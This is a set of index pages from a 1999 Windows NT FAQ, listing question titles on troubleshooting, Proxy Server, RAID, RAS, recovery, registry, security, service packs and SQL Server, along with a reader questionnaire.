  • I have installed a second CPU, however NT will not recognize it.
  • I reinstalled NT, now I cannot logon.
  • I have Windows 95 installed, and I am trying to start the NT installation but it fails.
  • An Application keeps starting every time I start NT.
  • Each time I start NT I get a file delete sharing violation?
  • Sometimes when I run a program or Control Panel applet it says "no disk in drive a:".
  • When I try and create an Emergency Repair Disk I get an error that files are missing.
  • I have installed Service Pack 3, now I cannot run Java programs.
  • Every time I start NT, explorer is started showing the system32 directory.
  • I have removed my IDE CD-ROM drive, now NT will not boot.
  • What information is shown in the Blue Screen of Death (BSOD) ?
  • I have created my own service, however on logoff the application stops.
  • I can't install any software.
  • I get an error "This application is not supported by Windows NT".
  • I have installed IE 4.0 now my shortcut icons are corrupt.
  • I have lost access to the root of the boot partition, now I can't logon.
  • I receive the error: The procedure entry point WNetEnumCachedPasswords could not be located.
  • How can I perform a kernel debug?
  • How do I configure remote debugging?
  • I get the error "Not enough server storage is available to process this command".
  • I can't delete a directory called con, prn.
  • I get an error when I try to export a profile other than Administrator.
  • I have chosen a screen resolution that has corrupted display and now I can't restore it
  • I get error "Boot record signature AA55 not found (1079 found)".
  • When I boot up NT, it pauses for about 30 seconds on the blue screen.
  • I receive a RDISK error, disk is full.
  • My Shortcuts try and resolve to UNC paths?
  • When I select a hyperlink or open a channel system32 folder opens?
  • When I try and use WinAT I get a Dr Watson error.
  • Drive mappings are being created by themselves.
  • I can't create a partition over 1GB on an Adaptec 2940 SCSI controller.
  • I get a STOP 0x00000078 error.
  • A file Testdir.tmp is created on a shared volume which cannot be deleted.
  • How can I replace an in use NT system file?
  • I removed my folder association and cannot open any folders!
  • The batch file I schedule to run does not work with the /every switch.
  • I have a volume of type Unknown in Disk Administrator.
  • I am unable to use Start from the command line with files with spaces in.
  • I am not offered the option to install from an INF context menu.
  • How can I deallocate corrupt Memory?
  • I am unable to run certain 16 bit applications.
  • I have a service stopping NT from booting.
  • If I run winfile d: it starts Explorer?
  • I have problems with tips after Service Pack 4.
  • After installing Service Pack 4 my ATAPI/IDE ZIP drive is not available.
  • Disk power management does not work after Service Pack 4.
  • I get error: Your password must be at least 0 characters long.
  • What is Remote Explorer?
  • When I try and edit the default domain controller policy the local policy is shown, why?
  • My desktop icons are corrupt, what can I do?
  • How can I kill an orphaned process?
  • I have lost my executable association.
  • How can I save the BSOD information?
  • Why do I get the message 'Initialization of USER32.dll or KERNEL32.dll' failed?
  • Users are unable to logon to my Small Business Server even though I have enough licenses.
  • How can I use path names longer than 255 characters?
  • I get error 'Setup was unable to copy the following file CDROM.SYS', why?
  • Logon scripts are hanging/looping, why?
  • The NTVDM and WOW subsystems cannot start correctly, what can I do?
  • What does message/error/event X mean?
  • When I double click on a MSI file it has no association, what can I do?
  • I am unable to stop a process from Task Manager even though I'm an Administrator, what can I do?
  • I am unable to run CHKDSK, it cannot lock or open volume for direct access.
  • I get a Blue-Screen of Death during setup, help!
  • After uninstalling Windows 98 I am unable to boot NT.
  • My last known good configuration is missing or corrupt and I can't boot NT.
  • When I start Explorer I get a Dr Watson error, what can I do?
  • I get an error after installing IE 4.0 SP2 on a Terminal Server.
  • I get error 'Program will not fit in memory', what's the cause?
  • After installing SP4/SP5 on NT 4.0 daylight saving is automatically enabled.
  • I've installed a Promise Ultra IDE card but NT/2000 will no longer work.
  • Some entries are missing from the Add/Remove programs control panel applet.
  • The default source path for my Windows 2000 installation is not correct.
  • What keys are available during startup of Windows 2000 to troubleshoot?
  • Installation of Windows 2000 hangs at the 'Setup is inspecting your computer', what can I do?
  • What logs are available to troubleshoot Windows 2000 installation problems?
  • Why are my AT and SOON commands not working properly?
  • I get error 'CAPI: The install program could not open the signature file' when installing SP5 hotfixes.
  • I get an event log, Crash Dump is Disabled, why?
  • I'm getting a BSOD at startup with error C0000135.
  • I'm unable to install Outlook 98, IE 5.0, error about log file command line.
  • NT 3.51 daylight saving update.
  • The SUBST command is not working correctly in Windows 2000.
  • I'm unable to install the Command Console on a mirror in Windows 2000.
  • I'm receiving Event ID 3013.
  • I don't get sound on DOS games under NT.
  • I get an error event 1501 trying to start the Event Log service.
  • How can I configure a service to automatically restart if it stops?
  • I've disabled ACPI in my BIOS now Windows 2000 will not boot.
  • How to I upgrade/downgrade to a multi-processor system in Windows 2000?
  • My machine BSOD's whenever I try to watch a DVD, what can I do?
  • I get 'Error occurred getting driver list from inf file. Err=0' when starting the SCSI control panel applet.
  • Where are the Dr Watson logs in Windows 2000?
  • I get a BSOD of death, SYSTEM_LICENSE_VIOLATION, what did I do?
  • I can't install Office 2000 on Windows 2000.
  • I'm missing the Windows 2000 Advanced menu option on startup.
  • I can't access the information in memory.dmp as a normal user.
  • I cannot delete a file named con or nul.
  • How do I change the system disk on a Windows 2000 system?
  • I get an IRPStackSize event log every time I start Windows 2000.
  • Global.exe does not work with DNS domain names.
  • I'm unable to upgrade my Windows 2000 evaluation version to the full edition using a Windows 2000 upgrade CD.
  • I can't load the basicdc.inf using the Security Configuration and Template editor or get errors in event log if I implement it?
  • I'm unable to view/delete pagefile.sys using the recovery console.
  • I get error messages when I try to eject/format/label a removable disk.
  • I'm getting a large number of event 2022 event logs.
  • I'm missing the 'Computers Near Me' My Network Places group.

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Proxy Server 2.0

Proxy Server 2.0

  • What is Proxy Server 2.0?
  • How do I install Proxy Server 2.0?
  • How do I install the client for the WinSock Service?
  • How do I remove the client WinSock Service?
  • How can I bypass the client Winsock?
  • How do I configure an Internet Browser to use the Web Proxy service?
  • How do I manage the Proxy Server?
  • How can I configure the Proxy server to automatically dial out to the ISP when needed?
  • How can I stop and start the Proxy services?
  • How can I use the Web based Proxy Server Administration software?
  • Which port does WinSock use?
  • How can I configure the RAS Autodisconnect?
  • How do I ban the Dilbert Zone using Proxy Server? :-)
  • How do I install Proxy Server 2.0 on Windows 2000?
  • How can I create custom error messages for Proxy Server?
  • Audio and Video are unavailable in NetMeeting via Proxy server, why?
  • How can I use Chat behind a Proxy server?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT Frequently Asked Questions Questionnaire

Windows NT FAQ Questionnaire

I'm trying to improve the quality of the FAQ and gather some information about those using it so please fill in the following questionnaire which will really help.

All people completing the questionnaire will be entered into a hat (in the digital sense of course) and the winner gets a new Diamond RIO 500 MP3 player (they are cool) and two runners up get copy of the NT FAQ book.

NO information will be given to any 3rd parties, its for NT FAQ use only.

None of the questions are compulsory, please fill in as much as you can (I need your email if you want a chance of winning!)

About you

E-mail address

Name

Job title

Sex

Age

Which of the following best describes your work area

If IT, which of the following areas best describes your work?

If you are a Student, are you studying

If you are a student, which subject are you studying?

About your company

No of employees worldwide including the UK (if applicable)

Please indicate your company’s total turnover for the last financial year

How long has your company been trading in its current form

Where do you access the Internet from?

How long do you spend using the Internet each day?

About NT FAQ

How long have you been using NTFAQ.com?

How frequently do you visit NTFAQ.com?

Generally, is NTFAQ.com the first site you would visit to find NT related information?

If no, please state the first site you would visit in the box

Which resource would you use first to try and find NT related information?

What do you like about this site? Please mark as many boxes as apply to you.

Content
Visuals
Advertisements
News/up-dates
Mailing lists
Bulletin boards
Chat rooms
Downloadable software
Downloadable information
Links to other sites
Other (please state)

What do you dislike about this site? Please mark as many boxes as apply to you

Content
Visuals
Advertisements
News/up-dates
Mailing lists
Bulletin boards
Chat rooms
Downloadable software
Downloadable information
Links to other sites
Other (please state)

Have you purchased anything as a result of adverts on this site?

If yes, please state what:

How satisfied are you with this site overall?

Why do you visit NTFAQ.COM - please tick as many boxes as necessary

To post a question
To review information on a particular topic
To find an answer to a question
To use the chat-room
To use the bulletin board
To use the mailing list
To read news and updates
To download information (downloadable NTFAQ)
To download software
To find links to other sites
Other (please state)

How visually pleasing do you find NTFAQ?

How appropriate do you the visual presentation is for your needs?

How clear (e.g. uncluttered) do you think this site’s layout?

How consistent do you find the design of the site from page to page?

How consistent do you find the design of the site from visit to visit?

How easy it is to find what you are looking for?

Which of the following pages do you bookmark:

The homepage
The search page
The what's new page
The discussion area
Other (please state)

What do you do if you cannot find an answer:

What do you do with the information once you have found it?

What percentage of times do you succeed in finding the information/answer/question you need?

To what extent does the site meet your service expectations in the following areas:

In terms of speed of response (to a posted question)

In terms of speed of delivery to screen?

In terms of quality of information?

In terms of quality of richness of information?

In terms of comprehensiveness of information? I.e. are all required subject areas covered?

How up to date do you believe the NT and Microsoft related information is?

How would you describe the experience of using NTFAQ?

Would you recommend this site to others?

Where did you find about this site?

Additional Services

Would you be interested in the following services, please tick as many boxes as you require:

Specialised advice and consultancy
A tailored package for your company E.g. a customised downloadable FAQ page to comply with company standards, for use on an Intranet?
The ability to create a portfolio of areas of interest specific to you
The ability to customise your mailing-list newsletter
To be informed when an area of interest to you is updated
Links to related information
A “meta-search” engine to search a range of other NT related sites
Segmentation of bulletin boards and chat-rooms into topics
NTFAQ increasing in scope, for example covering, networks, hardware, other operating systems?
NTFAQ forming relationships with other sites or companies to provide a full service for a customer? (E.g. form a relationship with a company with hardware expertise.)
A problem raised, or question asked leading to a purchase recommendation? (E.g. if security questions are asked, NTFAQ would recommend a security package if it could solve the problem raised)

We would be very interested to hear any other thoughts or comments you may have about this site. Please state in the box below

THANK-YOU very much and don't forget to click the 'Send mail' button


Windows NT FAQ - RAID

RAID

  • Does NT Workstation support RAID?
  • What RAID levels does NT Server Support?
  • How do I create a Stripe Set with Parity?
  • How do I recreate a broken Stripe Set?
  • How do I remove a Stripe Set?
  • Can NT be on a Stripe Set?
  • How do I create a Mirror Set (RAID 1)?
  • How do I break a Mirror Set?
  • How do I repair a broken Mirror Set?
  • Can I install NT on a stripe set?
  • I am unable to boot using on the Mirror disk.
  • I have reinstalled NT now I have lost all RAID/volume sets.
  • How do I create a RAID 5 set in Windows 2000?
  • How do I delete a RAID 5 set in Windows 2000?
  • How do I regenerate a RAID 5 set in Windows 2000?
  • How do I create a mirror set (RAID 1) in Windows 2000?
  • How do I break a mirror set (RAID 1) in Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - RAS

RAS

  • How do I connect two Workstations using RAS?
  • Is it possible to dial an ISP using the command line?
  • How can I stop the RAS connections closing when I logoff?
  • How can I create a RAS Connection Script?
  • How can I debug the RAS Connection Script?
  • How do I configure RAS to connect to a leased line?
  • How can I disable RAS AutoDial?
  • RAS tries to dial out even on local resources.
  • I have connected via RAS to a server however I can only see resources on the machine I connect to.
  • How do I force the Logon Using Dialup Networking to be checked by default on the logon screen?
  • Where are the RAS phone book entries and settings stored?
  • How can I change the number of rings that RAS server waits for before answering?
  • How can I configure how long RAS Server waits before calling back a user when callback is enabled?
  • Whenever I connect via RAS I cannot connect to local machines on my LAN.
  • How can I disable the "Save Password" option in dial-up networking?
  • How can I set the number of Authentication Retries for Dial-Up connections?
  • How can I set the Authentication Time-out for Dial-Up connections?
  • Enabling 128-bit RAS Data Encryption.
  • Why does my RAS client have the wrong subnet mask, etc.?
  • How long is the lease on the IP address when issued to a RAS client from DHCP?
  • How can I disconnect users from the RAS server?
  • How can I disable the modem speaker when dialing?
  • How can I limit RAS callers to see only the machine they connect to rather than the whole network?
  • How do I install the Windows 98 Virtual Private Network adapter?
  • How do I install the Point To Point Tunneling Server?
  • How do I install the Windows NT Virtual Private Network client?
  • How can I remove the dial-up networking icon from My Computer?
  • I've connected two computers using two 56K modems but I never connect at more than 33Kb, why?
  • My modem is not supported by RAS, what can I do?
  • I get error 'There is no answer' from the PPTP server, why?
  • DEVICE.LOG does not capture modem commands, what can I do?
  • How do I create a dial-up connection in Windows 2000?
  • When loading a program, I get the error message "RASMAN.DLL failed to load".
  • How can I enable 4.0 RAS servers in a Windows 2000 domain?
  • How can I disable 4.0 RAS servers in a Windows 2000 domain?
  • How can I get the Dial-Up Networking information in Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Recovery

Recovery

  • How do I create an Emergency Repair Disk?
  • How do I create a NT Boot Disk?
  • I get the error "Can't find NTLDR"
  • How do I recover a lost administrator password?
  • I have set a drive to no access, now no-one can access it.
  • If I copy a file with Explorer or from the command line, the permissions get lost.
  • How can I get my taskbar back?
  • I get the error "NTOSKRNL.EXE missing or corrupt" on bootup.
  • How do I configure Directory Replication?
  • How do I remotely create an Emergency Repair Disk?
  • How do I promote a Backup Domain Controller to the Primary Domain Controller?
  • How do I reinstate my old PDC back into the Domain as the PDC?
  • What tuning can be performed on Directory Replication?
  • I am unable to perform a repair without a CD-ROM drive?
  • Changing the Administrator password if you have forgotten it.
  • Where is RDISK in Windows 2000? - Windows 2000
  • How do I install the Recovery Console? - Windows 2000
  • How do I create a bootable CD-ROM containing ERD Commander/Professional?
  • How do I enable kernel only crash dumps?
  • What's the difference between manual and fast recovery in Windows 2000?
  • I've deleted NTBOOTDD.SYS and can't find it anywhere.

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Registry

Registry

  • What is the Registry?
  • What files make up the registry, and where are they?
  • How do I restrict access to the registry editor?
  • What is the maximum registry size?
  • Should I use REGEDIT.EXE or REGEDT32.EXE?
  • How do I restrict access to a remote registry?
  • How can I tell what changes are made to the registry?
  • How can I delete a registry value/key from the command line?
  • How can I audit changes to the registry?
  • How can I clean up/remove invalid entries from the registry?
  • I make changes to HKEY_LOCAL_MACHINE\HARDWARE but they are lost on reboot.
  • What data types are available in the registry?
  • How can I automate updates to the registry?
  • How do I apply a .reg file without the success message?
  • How can I remotely modify the maximum registry size?
  • I can't update DWORD values using REG.EXE.
  • How can I install a .inf file from the command line?
  • How can I compress the registry?
  • Access to the registry tools has been stopped, is there any way to get access?
  • Where does Windows 2000 store the last key accessed?
  • What's new in the Windows 2000 version of RegEdit?
  • How do I add a DWORD value from a .INF file?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Security

Security

  • How do I enable auditing?
  • How do I view/clear the security log?
  • Where can I get more information on the Event Viewer?
  • Where can I get information on NT security problems?
  • How can I restore the default permissions to the NT structure?
  • How can I copy files and keep their security and permissions?
  • How do I enable auditing on certain files/directories?
  • How do I use the System Key functionality of Service Pack 3?
  • How do I remove the System Key functionality of Service Pack 3?
  • How can I configure the system to stop when the security log is full?
  • How can I clear the pagefile at shutdown?
  • How do I enable strong password filtering?
  • How do I set what happens during a crash?
  • How can I configure the system to automatically reboot in the event of a crash?
  • How do I enable auditing on the SAM?
  • How can I enable strong protection on shared system objects?
  • How can I restrict access to objects from Anonymous accounts?
  • How do I enable SMB signing?
  • How do I disable LanManager challenge/response in NT?
  • How can I check the security of my passwords?
  • A description of Permissions in NT.
  • How can I restrict guest access to Event logs?
  • How can I enable auditing of base objects?
  • How can I configure my system to be C2 compliant?
  • How can I enforce an Internet access control policy?
  • What does System Key actually protect my passwords from?
  • What is a SID (Security ID)?
  • What security mailing lists exist for keeping up to date?
  • How can one protect against password hackers that use sniffers like l0pht?
  • How can one detect that users have cracked a password?
  • How is information enumerated through NULL session access, Remote Procedure Calls and IPC$?
  • How do I use the Security Configuration and Analysis snap-in?
  • What is Kerberos?
  • How is the shared key used by Kerberos distributed?
  • How is the long term key between a client and the KDC distributed?
  • How can I change the ticket lifetime used by Kerberos?
  • What is PKI?
  • What is a digital signature and how does it work?
  • What are secret keys?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Service Packs

Service Packs and Hotfixes

  • Service Packs and Hot fixes
  • What are the Q numbers and how do I look them up?
  • How do I install the Service Packs?
  • How do I install the Hot fix?
  • How do I remove a Hot fix?
  • How do I install Service Pack 3?
  • Emergency Repair Disk issues after installation of Service Pack 3.
  • How do I remove the Java Hotfix for Service Pack 3?
  • How do I install multiple Hotfixes at the same time?
  • How do I install Hotfixes the same time as I install Service Pack 3 onwards?
  • I have installed Service Pack 3, now I cannot run Java programs.
  • I have installed Service Pack 3, however the Policy Editor has not been updated.
  • How can I tell if I have the 128 bit version of Service Pack 3 installed?
  • How do I install a service pack during a unattended installation?
  • What order should I apply the Hot fixes?
  • I get an error message when I try to re-apply a hotfix after installing a service pack?
  • When should I reapply a Service Pack?
  • What is Option Pack 4?
  • How can I tell which version Service Pack I have installed?
  • I receive an error trying to install Service Pack 4 for NT 4.0.
  • Setupdd.sys is missing in Service Pack 4/5.
  • Important steps for installing Service Pack 4.
  • Uninstalling Service Pack 4.
  • How can I tell who installed/uninstalled Service Pack 4?
  • Service Pack 4 unattended installation switches.
  • New Event Logs in Windows NT 4.0 Service Pack 4.
  • When will Service Pack 6 for NT 4.0 be released?
  • I receive an error that setup.log cannot be found when installing a service pack.
  • How can I perform a function in a logon script depending on machines Service Pack version?
  • How can I check if I have SP6 or SP6a installed?
  • Is there a script that will reinstall a service pack and hotfixes then reboot?
  • How do I expand a service pack/hotfix without installing?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - SQL Server

SQL Server

For download versions please see http://www.ntfaq.com/download.html

  • How do I install SQL Server 6.5?
  • How do I register a SQL Server with SQL Enterprise Manager?
  • How can stop and start the SQL services?
  • How do I modify the sa password for SQL?
  • How do I visually edit/view data in a SQL database?
  • How can I convert a SQL data/time to just date?

The entries below are all contributed by Neil Pike

  • I am getting a message 'dbprocess dead or not enabled' running my query.
  • How can I add/amend/delete columns?
  • I am getting a blue screen / completely hung machine / server restart on my SQL Server/client.
  • Where are the cascade update/delete functions in SQL Server?
  • How can I issue a SQL command that uses a variable for the tablename, columns etc?
  • Why does my transaction-log fill up when I use fast-bcp?
  • Why can't I backup/restore my SQL Server database to the network?
  • Can I do a SQL backup to a tape drive on another server?
  • I have a query that seems to lock other users out of the system.
  • Should I apply SQL SP4?
  • How do I transfer data from another DBMS/format to SQL Server?
  • Why can't I get at a network file when I run a program from xp_cmdshell?
  • Is MS SQL Server Y2K compliant?
  • How can I change the owner of an object in SQL?
  • I've just changed NT domain for my SQL Server/clients and am unable to connect.
  • Are there any "easter eggs" in SQL Server?
  • How do I encrypt fields in SQL Server?
  • What tools are available to produce entity relationship diagrams for SQL Server?
  • Where is the SQL Server FAQ?
  • Which SQL net-lib is the fastest?
  • I'm having trouble installing SQL Server.
  • I am missing the whole of MSDB, or just some tables - how do I create them?
  • Why do my device sizes appear as negative values in SQL EM?
  • How do I do row-level locking on SQL Server?
  • How many bytes can I fit on a page in SQL Server and why?
  • I am getting a gpf/registry error installing SQL Server - what is happening?
  • How do I change the sort-order or character set for a SQL Server database?
  • What SQL servicepack am I running?
  • My SQL Server database has been marked "suspect" - what can I do?
  • How do I remove the tempdb database from master?
  • What are the changes/differences between vX and vY of SQL Server?
  • How can I speed up SQL Server applications running over slow links?
  • How can I fix a corruption in a system table?
  • Why can't I connect Enterprise Manager to my local copy of SQL Server?
  • What is the limit on the number of tables in a query in SQL Server?
  • I'm doing a transfer using the SQL EM transfer tool, and not only is it not transferring the objects.
  • What registry entries does SQL Server use?
  • How can I view the SQL Server log?
  • How can I upgrade the 120-day evaluation version to the full SQL version?
  • I'm not seeing anything in the current activity screen in SQL EM.
  • How can I output records/messages to a flat file from inside a SQL Server TSQL script?
  • My SQL Server database is showing as "recovering".
  • I am getting a SQL Server error message "login failed".
  • Can I run SQL Server on the same machine as Oracle, Exchange etc.?
  • Why do my SQL Server identity values get out of synch causing gaps/duplicates etc.?
  • How can I restrict access to my SQL Server so that it only allows certain machines to connect?
  • How can I restrict access to my SQL Server so that it only allows certain programs to connect?
  • How does SQL Server clear up orphaned connections?
  • Why does the SQL Server Database Maintenance Wizard warn about databases greater than 400Mb?
  • Why does my SQL Server log show that it's still full? - I have truncated it.
  • How do I connect to SQL Server from a non-microsoft machine?
  • How can I completely uninstall SQL Server?
  • What does dbcc traceon(208) mean in SQL Server?
  • How do I install SQL Mail?
  • I've got a problem/query with the beta of SQL Server 7.0. Where can I get help?
  • Why do I have problems revoking permissions on some tables with SQL Server?
  • What hardware/software can I run SQL Server on?
  • Why is a SQL Server restore (LOAD DATABASE) so much slower than a dump database?
  • What are the *.DMP files that appear in the SQL Server log directory?
  • Can I do an NT defrag on a SQL Server .DAT device/file?
  • Can I compress a SQL Server .DAT device/file?
  • Why can't I install SP4 for SQL Server to my Win9x machine like the readme says I can?
  • I'm getting an error 1117 in SQL Server. Can I rebuild the extents somehow?
  • Why can't I get at a network file when I run a program with xp_cmdshell from SQL Server?
  • I am having problems with SQL Server running bcp from xp_cmdshell.
  • How do I store/retrieve text and image data in SQL Server?
  • How can I amend the system tables in SQL Server?
  • I am having problems installing a SQL Service pack.
  • How can I move a SQL Server device from one disk to another, or rename it?
  • How can I recover a SQL Server database when all I have left is the .DAT device?
  • How can I re-install SQL Server without losing any data under a new version of NT I have installed?
  • How can I install SQL Server client tools in unattended mode?
  • How can I access data across two separate databases in SQL Server?
  • How can I transfer SQL Server data between an Intel box and an Alpha?
  • I can't run SQL Server Enterprise Manager.
  • I've put tempdb in ram and now I can't restart my SQL Server.
  • How do I transfer data between SQL Server databases / across servers?
  • What packages are available to do source control on SQL Server SP's, DDL etc.?
  • Where can I get the ANSI92 SQL information from.
  • How do I connect to SQL Server through a firewall?
  • I'm getting a sort failed 1501 message on SQL Server - what's going on?
  • I'm getting a 1112 error on SQL Server - what's going on?
  • Why do I get the message WARNING: Process being freed while holding Dataserver semaphore in SQL Server.
  • What are good SQL Server books? And other sources of reference.
  • Where can I get SQL Server hot-fixes from?
  • How can I create a user-defined function in SQL Server?
  • How can I pass an array of values to a SQL Server stored-procedure?
  • How can I delete duplicate rows from a SQL Server table?
  • My SQL Server errorlog is filling up with entries. How can I switch or truncate it?
  • Which sort-order should I choose for my SQL Server for the fastest performance?
  • Why is my application locking up in SQL Server?
  • Where can I get the SQL Server Programmers Toolkit?
  • I'm getting an error 80004005 message connecting to SQL Server - what's going on?
  • Is it safe to clear down the msdb..sysbackuphistory table in SQL Server
  • I'm having problems getting more than x connections from a 16-bit client to SQL Server
  • How can I restrict the number of rows returned to my query in SQL Server?
  • I can't use a tape-drive with SQL Server, but it works ok with NT Backup. Why?
  • SQL Mail keeps hanging - meaning I have to restart SQL Server to clear it.
  • How can I convert a string to "proper" case in SQL Server?
  • Where can I get Embedded SQL for SQL Server?
  • Does SQL Server support Unicode?
  • Where can I download SQL Server utilities, service packs etc.?
  • How can I disable the dial-up remote network prompt with the SQL Server GUI tools?
  • Error message : Failed to obtain TransactionDispenserInterface: XACT_E_TMNOTAVAILABLE.
  • Should I amend the SQL Server "Backup Buffer Size"?
  • What is SQLHDTST.EXE for SQL Server and where do I get it?
  • How can I install the 32-bit SQL Server client for NT or Windows 9x?
  • I am getting a message GetOverLappedResult() from a SQL Server query.
  • What does the SQL Server error message Lazywriter: WARNING, couldn't find slot, 8/8, scanned 8 mean?
  • I have a corrupt SQL Server table that I can't drop. What can I do?
  • Why can't I BCP a Unix file into SQL Server? I get UNEXPECTED EOF messages.
  • What can't I do with SQL Enterprise Manager under Win9x?
  • I am getting a message "Protocol error in TDS Datastream" from a SQL Server query.
  • Why is SQL Server slower than Access/FoxPro/DBase etc.
  • Can I turn SQL Server logging off?
  • What tools are available to debug stored-procedures under SQL Server?
  • Why do I get an error "Error: 702, Severity: 20, State: 1" running a SQL Server query?
  • What do the bufwait, writelog and buffer latch errors in SQL Server mean?
  • Who are Microsoft Product Support Services?
  • What is a "SQL Server MVP" and how do I become one?
  • I'm getting an access denied or CreateFile message when connecting to SQL Server.
  • How can I automate the scripting of a database/objects in SQL Server?
  • Why is the date I get via select getdate() wrong in SQL Server?
  • Where is the pointer to master stored in SQL Server? How can I move the master database?
  • Why do I see page faults/sec above 0 when I have a dedicated SQL Server machine?
  • How do I configure a connection to use tcp-ip sockets with SQL Server?
  • How can I do a crosstab function using standard TSQL in SQL Server?
  • How can I run an external (non-SQL) program/dll etc. from within a TSQL SQL Server script?
  • What specification hardware do I need to run SQL Server for good performance?
  • How can I stop a SQL Server process?
  • I get an ODBC error.
  • I've forgotten the sa password for SQL Server - what can I do?
  • Why does my SQL Server code sometimes respond slower than normal when I haven't changed anything?
  • Should I apply SP5? Will it cause more problems than it fixes?
  • Do I really need 166Mhz Pentium processors to run SQL Server 7.0?
  • Does SQL Server run under Win2000/NT5?
  • How do I change the name of SQL Server?
  • Why has my tempdb in SQL Server filled up?
  • Mail messages are stuck in my outbox with SQL Mail.
  • I am getting an error "Msg 2503, Level 16, State 1 Table Corrupt" on my SQL Server - what can I do?
  • I am getting an error 2521 on my SQL Server - what can I do?
  • I am getting an error 605 on SQL Server - what can I do?
  • I get an error #610 - Maximum number of databases that may be accessed by a transaction is x.
  • I'm getting a "bad token" error message from SQL Server - what causes this?
  • Why do I get slow or no connections to SQL Server using IPX from my Win3x and Win9x clients?
  • I'm getting the following error with SQL 7 regarding DTS inability to transform data.
  • With SQL Server should I get more processors or faster processors?
  • How can I get ISQL.EXE to return a DOS errorlevel for me to test?
  • Does SQL Server have any built-in functions to work with julian dates?
  • Why can I connect to SQL Server with the tcp-ip sockets netlib and not named-pipes over IP/multiprotocol?
  • Should I apply NT 4.0 SP4 to my SQL Server system?
  • Are there any resources or tools to aid in an Oracle PL/SQL to SQL Server TSQL conversion.
  • What is a reproduction (repro) script that I need to produce for a SQL Server bug?
  • Do SQL Service Packs have to be applied in order or can I just apply the latest one?
  • Is there an Access upsizing wizard to SQL Server 7.0?
  • Why can't I see master, msdb etc. in SQL 7 EM? Also I can't see the system tables in user databases.
  • What versions of SQL 7 are there and what are the differences?
  • When SQL Executive starts I get the error id 109.
  • What tools are available to stress/benchmark SQL Server?
  • Why can't I stop/start SQL from SQL Enterprise Manager?
  • Should I use tempdb in ram?
  • Does SQL 7 support tempdb in ram?
  • I am getting an error 4409 selecting on a view ever since I applied SP5 to SQL 6.5.
  • I am getting an error 603 on database recovery in a SQL 6.0 system.
  • Why do I get an error "SQL Server Assertion : File:<xxx.c> Line=yyy Failed Assertion='zzz'?
  • How can I overwrite expired backups on a disk device to save on space and still keep a rolling x days there?
  • Should I set "boost priority" to 1 or "SMP" to -1 on SQL Server?
  • What are all the dbcc commands for SQL Server?
  • How can I see how many objects are actually open in SQL Server?
  • How can I get the hardware spec of a SQL Server remotely?
  • How can I tell what columns in my SQL Server database are identity columns?
  • I get an error trying to load a trace file into the SQL 7 Profiler/Index Tuning Wizard.
  • How do I install the SQL Server Internet Connector Software?
  • Can I use a Worm/MO/CD-Rom jukebox with SQL Server?
  • When I run the MDAC setup routine that comes with SQL Server SP5(a) why does it re-invoke the SP setup?
  • How can I replace/change/delete characters in a SQL Server column?
  • Does SQL Server support row numbers like Oracle does?
  • When I do a SQL Server trace I see lots of sp_cursoropen and sp_cursorfetch commands being sent.
  • Does SQL 7 support db-lib?
  • Why do I get a 6.5 group in my SQL 7.0 MMC list of servers?
  • Can I run SQL 6.5 and SQL 7.0 on the same machine?
  • How can I check whether SQL 6.5 or SQl 7.0 is installed without connecting to SQL and logging on?
  • I'm running a stored-proc from VB. Why does it return control before the SP has finished?
  • Can I install SQL on a Terminal Server machine?
  • How can I report a SQL Server bug to Microsoft?
  • Why do I get the SQL Server error "Msg 8412 - Schemas differ" when doing a LOAD TABLE?
  • Why do I get an error message when I try to run SQL 7 EM - "MMC - Snap-in failed to initialize"?
  • Why is the week number returned by SQL Server wrong?
  • How can I un-install a SQL Server servicepack and go back to the original version?
  • How can I transfer database diagrams from one SQL 7 server to another?
  • Why is SQL Server 7 slower than 6.5 at running some of my sp's?
  • How can I modify the SQL 7 unattended install script?
  • Is there an Access upsizing wizard to SQL Server 7.0?
  • Do I really need a 166Mhz Pentium processor to run SQL Server 7.0?
  • Why do I get an error 'Bad pointer 0xABCDEF encountered while remapping stored procedure' in SQL Server?
  • Why does sp_processmail fail with 'Supplied datatype for set_user is not allowed, expecting 'varchar''?
  • How can I pad an integer value in SQL Server with zeroes?
  • Where can I get a JDBC driver for SQL Server?
  • Why is SQL Server better/worse than Oracle?
  • A query produces this error in SQL 7 'Internal Query Processor Error'.
  • Any known issues with IE5 and SQL Server 7.0?
  • How can I programmatically get the next free device number (vdevno) in SQL 6.5 and below?
  • How can I get random numbers from SQL Server? Using rand() I always get the same sequence.
  • What is the precedence of the SET commands, database options, session options etc. in SQL Server?
  • Why am I seeing entries in sysindexes (or sp_helpindex) for indexes I have not created?
  • I'm getting #deleted entries in resultsets from ODBC since installing SQL 7, why?
  • How can I use SQL 7's HDQ facilities to get at NT domain or Exchange information?
  • How can I tell if my code is ANSI-92 compliant?
  • How can I automate the scripting/transfer of a database/objects in SQL Server?
  • If I lose my data file (MDF) in SQL 7 I can't backup the log to recover to a point in time - why not?
  • What does the SQL Server error message "sort: bob write not complete after xx seconds." mean?
  • How can I run a DTS package from within SQL Server - e.g. a stored-procedure?
  • Where can I get Embedded SQL for SQL Server?
  • How can I get file information using SQL Server?
  • My SQL Server database has been marked "loading" - what can I do?
  • How can I connect to SQL Server from a Macintosh?
  • I am getting problems with ODBC apps since upgrading to SQL 6.5 SP5a or installing SQL 7.
  • How do I configure multi-protocol net-lib to force encryption of packets in SQL Server?
  • How can I ORDER BY different fields based on a variable in SQL Server?
  • Can I upgrade SQL 4.x to 7.0 directly?
  • How can I programmatically kick off a SQL dump and get the stats on how far through it is back dynamically?
  • Where does the list of SQL Server's come from in registration/dialog boxes?
